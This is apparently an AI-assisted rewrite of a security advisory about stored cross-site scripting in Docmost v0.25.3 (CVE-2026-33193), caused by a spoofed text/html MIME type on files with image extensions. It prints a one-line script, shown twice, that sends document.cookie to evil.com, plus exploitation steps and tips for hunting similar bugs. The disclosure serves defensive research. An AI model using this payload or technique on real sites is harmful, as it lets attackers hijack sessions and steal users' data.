Skip to content
XSS Advisory Intermediate CVE-2026-33193

GHSL-2026-052: Stored Cross-Site Scripting (XSS) via MIME Type Spoofing in Docmost - CVE-2026-33193

Docmost stored the client-supplied MIME type of uploaded files without validation and later served those files inline with that MIME type, so a file named with an image extension could be delivered as HTML. An authenticated attacker with page edit permissions could plant a file that executes JavaScript in the application's origin when other users open it, and publicly shared pages could expose unauthenticated visitors too.

m-y-mo Follow

Originally disclosed on GitHub Security Lab

Docmost version v0.25.3 is vulnerable to a stored cross-site scripting (XSS) attack due to improper handling of MIME type spoofing (GHSL-2026-052). An attacker could exploit this flaw to inject malicious scripts, potentially compromising the security of users and data.

m-y-mo, on GitHub Security Lab

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Docmost is a collaborative documentation product. Its server exposes an attachment feature: users with page edit permissions can upload files, and those files are later served back to anyone who can view the page. The upload path is POST /api/files/upload, and the download path is GET /api/files/{fileId}/{fileName}, with a public variant at GET /api/files/public/:fileId/:fileName for pages that have been shared publicly.

The interesting part of the download path is sendFileResponse in apps/server/src/core/attachment/attachment.controller.ts. That method decides two things independently: whether the response should be forced as a download or rendered inline, and what Content-Type the response carries. The advisory, GHSL-2026-052, is about those two decisions disagreeing.

Setup

The issue was tested against Docmost v0.25.3. The attacker needs an authenticated account with page edit permissions, which is enough to reach the upload endpoint. No special tooling is described; the attack is a crafted multipart upload followed by a normal GET request. The victim is any authenticated user who opens the attachment, and if the page is shared publicly, an unauthenticated visitor as well.

Finding it

The researcher looked at how sendFileResponse builds its response and noticed that the inline-versus-download decision and the Content-Type header come from different sources.

The inline decision is based on fileExt, checked at line 420 with inlineFileExtensions.includes(attachment.fileExt). The Content-Type header, set at line 463, comes from the mimeType value stored in the database. That value is client-controlled: it is taken directly from file.mimetype in the multipart upload in attachment.utils.ts at line 43, and stored without validation in attachment.service.ts at line 281.

So the extension of the file name decides whether the browser is told to display the file inline, while a separate, attacker-supplied string decides how the browser interprets it. A file named with an image extension can therefore be served as text/html and rendered as a page in the application's origin.

Exploitation

Step 1: upload a file with a spoofed MIME type

An authenticated attacker with page edit permissions sends a request to POST /api/files/upload (attachment.controller.ts, line 74). The file is named, for example, payload.jpg (or .png, .jpeg, .pdf, .mp4, .mov), but the multipart part carries a spoofed Content-Type header of text/html. The file body is:

HTML
<html><script>document.location='https://evil.com/steal?c='+document.cookie</script></html>

The script reads document.cookie and sends it to an attacker-controlled host. Because the file is later served from the application's own origin, that cookie is the victim's session material for the application.

Step 2: the server stores the extension and the MIME type separately

prepareFile (attachment.utils.ts, line 15) derives fileExtension: '.jpg' from the file name at line 36, and takes mimeType: 'text/html' from the multipart part at line 43. No MIME type validation occurs at this point.

Step 3: the mismatched pair is persisted

The attachment is saved to the database with fileExt: '.jpg' and mimeType: 'text/html' (attachment.service.ts, line 281). The two values are now inconsistent, and nothing downstream reconciles them.

Step 4: the victim fetches the file and the browser executes it

When a victim accesses GET /api/files/{fileId}/payload.jpg (attachment.controller.ts, line 152), sendFileResponse does the following:

  1. It checks inlineFileExtensions.includes(attachment.fileExt) at line 420. Since .jpg is in the list, no Content-Disposition: attachment header is set, so the browser is allowed to render the response inline.
  2. It sets Content-Type: text/html from the stored mimeType at line 463.
  3. The browser renders the response as HTML and executes the embedded JavaScript in the application's origin.

Step 5: the public endpoint gives the same result without authentication

The same attack works through the public endpoint GET /api/files/public/:fileId/:fileName (attachment.controller.ts, line 192) when the page is publicly shared. In that case the XSS is reachable by unauthenticated visitors, using JWT attachment tokens.

Root cause

The bug is a split between two decisions that should be tied together. The code uses the file extension to decide whether inline rendering is acceptable, but uses the client-supplied MIME type to tell the browser what the content is. Because the MIME type is stored without validation, an attacker can keep an extension that is on the inline allowlist while declaring the content as text/html. The browser trusts the Content-Type header, not the file name, so it renders and executes the payload.

Existing defences did not stop this because the inline check only looks at fileExt, and nothing validates or normalises mimeType on upload or on serve. The Content-Disposition: attachment header, which would have forced a download and prevented rendering, is only applied to extensions outside the inline list.

Impact

An authenticated attacker can plant a file that, when accessed by other authenticated users, executes arbitrary JavaScript in the application's origin. According to the advisory this enables session hijacking by stealing JWT tokens from cookies, data exfiltration and privilege escalation. If the attacker's page is shared publicly, unauthenticated visitors can also be targeted.

Fix

The issue was fixed on 2026-02-20, three days after it was reported, and the patch was to be included in the next release. The advisory does not describe the code change itself. The GHSA was published on 2026-04-14.

Variants to test

  • Upload a file with an inline-allowed extension and a text/html multipart part, then request it directly. A positive result is a response with Content-Type: text/html and no Content-Disposition: attachment, rendered as a page by the browser.
  • Repeat with other inline extensions from the target's allowlist (the advisory names .png, .jpeg, .pdf, .mp4, .mov alongside .jpg). A positive result is the same inline HTML rendering for any of them.
  • Try the public download endpoint on a publicly shared page. A positive result is the payload executing for a session with no login.
  • Try other MIME types that browsers render actively, such as SVG, where the application serves them inline. A positive result is script execution from the attachment origin.

Hunting notes

This class of bug hides wherever an application stores a client-supplied MIME type and later uses it to set Content-Type, while a separate field (usually the extension) controls inline versus download. During recon, look for upload endpoints that accept multipart form data and for download endpoints that echo a stored content type. Signals worth following are attachment URLs that end in an image or document extension but return a Content-Type you did not expect, and any inline allowlist in the code that is checked against the file name rather than the stored MIME type.

The same chain works through the public endpoint for unauthenticated visitors, which widens the affected population beyond logged-in users.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

Docmost is a product for writing and sharing documents together, a bit like a shared notebook that lives on a website. One of its features lets people attach files to a page: you upload a picture or a PDF, and later anyone who can see the page can open that file again. In version v0.25.3 of Docmost, someone with permission to edit a page could upload a file that looked like a harmless image but was actually a small web page containing a script. When another person opened that file, their browser ran the script as if it came from Docmost itself. That is called stored cross-site scripting, or stored XSS.

The problem was reported to the Docmost project on 2026-02-17, fixed on 2026-02-20 with the patch planned for the next release, and a public security advisory (GHSA-7cq4-577p-wp6p) was published on 2026-04-14. The issue is tracked as GHSL-2026-052 and CVE-2026-33193.

A few words before we go further, because they come up constantly:

  • A server is the computer that runs the website and answers requests. Your browser is the client.
  • An API is the set of addresses a website's own pages (and other programs) use to talk to the server. When you click something and the page updates without reloading, your browser is usually calling an API behind the scenes. An API address like /api/files/upload is just a door on the server with a name.
  • A cookie is a small piece of text your browser keeps for a website and sends back with every request. Websites often use it to remember that you are logged in, so it works like a wristband at an event: show it at the door and you get in without proving who you are again.
  • A token is a similar idea in a different shape: a long string that proves you are allowed to do something. A JWT (JSON Web Token) is one common format for such a string.
  • JavaScript is the programming language browsers run to make pages interactive. A script is a piece of JavaScript.
  • HTML is the language that describes what a page contains. A browser reads HTML and draws the page.
  • A MIME type (also called a content type) is a label that says what kind of data something is, for example image/jpeg for a photo or text/html for a web page. It is like the label on a food package: it tells the browser how to treat the contents.
  • Cross-site scripting (XSS) means getting your own script to run inside someone else's website, in that website's origin. The origin is the combination of scheme, host and port (roughly, the site's address); scripts from one origin can read that origin's cookies and data, and scripts from another origin cannot. That separation is the browser's main safety wall, and XSS is a way of getting over it.
  • Stored XSS means the malicious content is saved on the server (here, as an attachment) and served to whoever opens it later, rather than being slipped in once.

The product and the feature

Docmost is a collaborative documentation product. Its server has an attachment feature: users with page edit permissions can upload files, and those files are later served back to anyone who can view the page. Two addresses matter:

  • Upload: POST /api/files/upload. POST is the method browsers use to send data to a server, and this address is where files go in.
  • Download: GET /api/files/{fileId}/{fileName}. GET is the method for asking the server for something. {fileId} is a placeholder for the file's identifier and {fileName} for its name.
  • There is also a public variant, GET /api/files/public/:fileId/:fileName, used for pages that have been shared publicly, so that people who are not logged in can still see the files.

The interesting part of the download path is a method called sendFileResponse in apps/server/src/core/attachment/attachment.controller.ts. A method here just means a named block of code inside the program. That method makes two separate decisions:

  1. Should the browser be forced to download the file, or is it allowed to display it right there in the page (called rendering inline)?
  2. What Content-Type should the response carry, meaning what kind of content the server tells the browser this is?

The advisory GHSL-2026-052 is about those two decisions disagreeing with each other.

Setup

The issue was tested against Docmost v0.25.3. To try it, the attacker needs an account on the Docmost instance with permission to edit a page, which is enough to reach the upload endpoint. No special tooling is described; the attack is a crafted upload followed by a normal request to open the file. The victim is any logged-in user who opens the attachment, and, if the page is shared publicly, an unauthenticated visitor as well.

Finding it

The researcher looked at how sendFileResponse builds its response and noticed that the inline-versus-download decision and the Content-Type header come from different places.

The inline decision is based on fileExt, the file's extension (the bit after the dot in the name), checked at line 420 with inlineFileExtensions.includes(attachment.fileExt). In plain words: the code keeps a list of extensions that are allowed to be shown inline, and asks whether this file's extension is in that list.

The Content-Type header, set at line 463, comes instead from the mimeType value stored in the database. A database is where the server keeps its records between requests. That mimeType value is controlled by the client: it is taken directly from file.mimetype in the multipart upload in attachment.utils.ts at line 43, and stored without validation in attachment.service.ts at line 281. A multipart upload is the standard way a browser sends a file to a server: the request body is split into parts, and each part carries its own little headers, including a Content-Type for that part. Validation means checking that a value makes sense before trusting it; here, nothing checks it.

So the extension of the file name decides whether the browser is told to display the file inline, while a separate, attacker-supplied string decides how the browser interprets it. A file named with an image extension can therefore be served as text/html and rendered as a page in the application's origin.

Exploitation

Step 1: upload a file with a spoofed MIME type

An authenticated attacker with page edit permissions sends a request to POST /api/files/upload (attachment.controller.ts, line 74). The file is named, for example, payload.jpg (or .png, .jpeg, .pdf, .mp4, .mov), but the multipart part carries a spoofed Content-Type header of text/html. The file body is:

HTML
<html><script>document.location='https://evil.com/steal?c='+document.cookie</script></html>

Line by line, in plain words:

  • <html> and </html> mark the start and end of a web page. They are what makes the browser treat the contents as a page rather than as a picture.
  • <script> and </script> mark the start and end of a script the browser should run.
  • document.location='...' tells the browser to navigate to a new address. document is the browser's name for the current page, and location is the page's address.
  • 'https://evil.com/steal?c='+document.cookie builds that address by gluing together a fixed string and the value of document.cookie, which is all the cookies the current site has stored for this page. The ?c= part is just a place to put the stolen value in the address so the receiving server can read it.

The script reads document.cookie and sends it to an attacker-controlled host. Because the file is later served from the application's own origin, that cookie is the victim's session material for the application, meaning the thing that keeps them logged in.

Why this step: the attacker needs the server to save a file whose declared type is text/html while its name still looks like an image. The name is what the inline check will look at later; the declared type is what the browser will be told later.

Step 2: the server stores the extension and the MIME type separately

prepareFile (attachment.utils.ts, line 15) derives fileExtension: '.jpg' from the file name at line 36, and takes mimeType: 'text/html' from the multipart part at line 43. No MIME type validation occurs at this point.

In plain words: the server reads the name and notes the extension, then reads the label the client attached to the file and notes that too. It never asks whether the two agree. It is like a courier writing down both "this is a photo" (from the label you stuck on) and "this is a letter" (from what you told them at the counter) and filing both notes without comparing them.

Step 3: the mismatched pair is persisted

The attachment is saved to the database with fileExt: '.jpg' and mimeType: 'text/html' (attachment.service.ts, line 281). The two values are now inconsistent, and nothing downstream reconciles them. "Persisted" simply means written down so it survives after the request ends.

Why this matters: the contradiction is now permanent. Every future request for this file will read the same two values.

Step 4: the victim fetches the file and the browser executes it

When a victim accesses GET /api/files/{fileId}/payload.jpg (attachment.controller.ts, line 152), sendFileResponse does the following:

  1. It checks inlineFileExtensions.includes(attachment.fileExt) at line 420. Since .jpg is in the list, no Content-Disposition: attachment header is set, so the browser is allowed to render the response inline. Content-Disposition: attachment is the header that tells a browser "save this to disk, do not display it".
  2. It sets Content-Type: text/html from the stored mimeType at line 463.
  3. The browser renders the response as HTML and executes the embedded JavaScript in the application's origin.

Why this works: the browser does not look at the file name to decide what something is. It trusts the Content-Type header. The server said "this is a web page", so the browser drew a web page and ran the script inside it, with all the access that Docmost's own pages have.

Step 5: the public endpoint gives the same result without authentication

The same attack works through the public endpoint GET /api/files/public/:fileId/:fileName (attachment.controller.ts, line 192) when the page is publicly shared. In that case the XSS is reachable by unauthenticated visitors, using JWT attachment tokens.

In plain words: if the attacker's page is shared with the world, a stranger who is not logged in can open the file and run the script too. The public route hands out a JWT attachment token so that the file can be fetched without a login, and that is enough to reach the same rendering path.

Root cause

The bug is a split between two decisions that should be tied together. The code uses the file extension to decide whether inline rendering is acceptable, but uses the client-supplied MIME type to tell the browser what the content is. Because the MIME type is stored without validation, an attacker can keep an extension that is on the inline allowlist while declaring the content as text/html. The browser trusts the Content-Type header, not the file name, so it renders and executes the payload.

Existing defences did not stop this because the inline check only looks at fileExt, and nothing validates or normalises mimeType on upload or on serve. To normalise means to clean a value into a standard, expected form. The Content-Disposition: attachment header, which would have forced a download and prevented rendering, is only applied to extensions outside the inline list.

A useful comparison: a nightclub bouncer checks the name on your list (the extension) but never checks whether the person at the door matches the description (the MIME type). Two separate checks, each passing on its own, add up to a hole.

Impact

An authenticated attacker can plant a file that, when accessed by other authenticated users, executes arbitrary JavaScript in the application's origin. "Arbitrary" means whatever the attacker wants, not just the one line shown above. According to the advisory this enables session hijacking by stealing JWT tokens from cookies, data exfiltration and privilege escalation. Session hijacking means taking over someone's logged-in session; data exfiltration means copying data out to somewhere else; privilege escalation means gaining more rights than you were given. If the attacker's page is shared publicly, unauthenticated visitors can also be targeted.

Fix

The issue was fixed on 2026-02-20, three days after it was reported, and the patch was to be included in the next release. The advisory does not describe the code change itself. The GHSA was published on 2026-04-14.

Variants to test

These are other ways to probe the same weakness, useful if you want to check a similar product:

  • Upload a file with an inline-allowed extension and a text/html multipart part, then request it directly. A positive result is a response with Content-Type: text/html and no Content-Disposition: attachment, rendered as a page by the browser.
  • Repeat with other inline extensions from the target's allowlist (the advisory names .png, .jpeg, .pdf, .mp4, .mov alongside .jpg). A positive result is the same inline HTML rendering for any of them.
  • Try the public download endpoint on a publicly shared page. A positive result is the payload executing for a session with no login.
  • Try other MIME types that browsers render actively, such as SVG, where the application serves them inline. SVG is an image format that is written in a markup language and can contain script. A positive result is script execution from the attachment origin.

Hunting notes

This class of bug hides wherever an application stores a client-supplied MIME type and later uses it to set Content-Type, while a separate field (usually the extension) controls inline versus download. During recon, meaning the early stage of looking around a target, look for upload endpoints that accept multipart form data and for download endpoints that echo a stored content type. Signals worth following are attachment URLs that end in an image or document extension but return a Content-Type you did not expect, and any inline allowlist in the code that is checked against the file name rather than the stored MIME type.

The same chain works through the public endpoint for unauthenticated visitors, which widens the affected population beyond logged-in users.

Glossary

  • API: the set of named addresses a website's pages and other programs use to talk to its server.
  • Attachment: a file uploaded to a page and served back to people who can view that page.
  • Client: the program making a request, usually your browser. The server is the computer answering it.
  • Content-Disposition: a response header that tells the browser whether to display a file inline or save it as a download (attachment).
  • Content-Type: a response or part header that labels what kind of data follows, for example text/html or image/jpeg. Also called a MIME type.
  • Cookie: a small piece of text a browser stores for a site and sends back with each request, often used to keep you logged in.
  • Cross-site scripting (XSS): getting your own script to run inside another website, in that site's origin.
  • CVE: a public identifier for a known security vulnerability.
  • Database: where a server keeps its records between requests.
  • Exfiltration: copying data out of a system to somewhere the attacker controls.
  • Extension: the part of a file name after the dot, such as .jpg, often used as a hint about the file's type.
  • GHSA: GitHub Security Advisory, a public notice about a vulnerability in a project hosted on GitHub.
  • GHSL: GitHub Security Lab, the team that reported this issue.
  • HTML: the language that describes what a web page contains.
  • Inline: displayed directly in the browser rather than saved as a download.
  • JavaScript: the programming language browsers run to make pages interactive.
  • JWT (JSON Web Token): a long string, in a standard format, that proves the holder is allowed to do something.
  • Method: a named block of code inside a program.
  • MIME type: a label saying what kind of data something is, for example text/html or image/jpeg.
  • Multipart upload: the standard way a browser sends a file to a server, splitting the request body into parts that each carry their own headers.
  • Normalise: clean a value into a standard, expected form.
  • Origin: the combination of scheme, host and port that defines a site's security boundary; scripts from one origin cannot read another origin's data.
  • Patch: a code change that fixes a bug.
  • Persisted: written down so it survives after the request ends.
  • Privilege escalation: gaining more rights than you were given.
  • Recon: the early stage of looking around a target to find things worth testing.
  • Session hijacking: taking over someone else's logged-in session.
  • Stored XSS: XSS where the malicious content is saved on the server and served to whoever opens it later.
  • SVG: an image format written in a markup language that can contain script.
  • Token: a string that proves you are allowed to do something.
  • Validation: checking that a value makes sense before trusting it.
  • Vulnerability: a weakness in software that someone can abuse to do something the designers did not intend.

More by m-y-mo

View all

64 more disclosed reports, best first.

More from GitHub Security Lab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.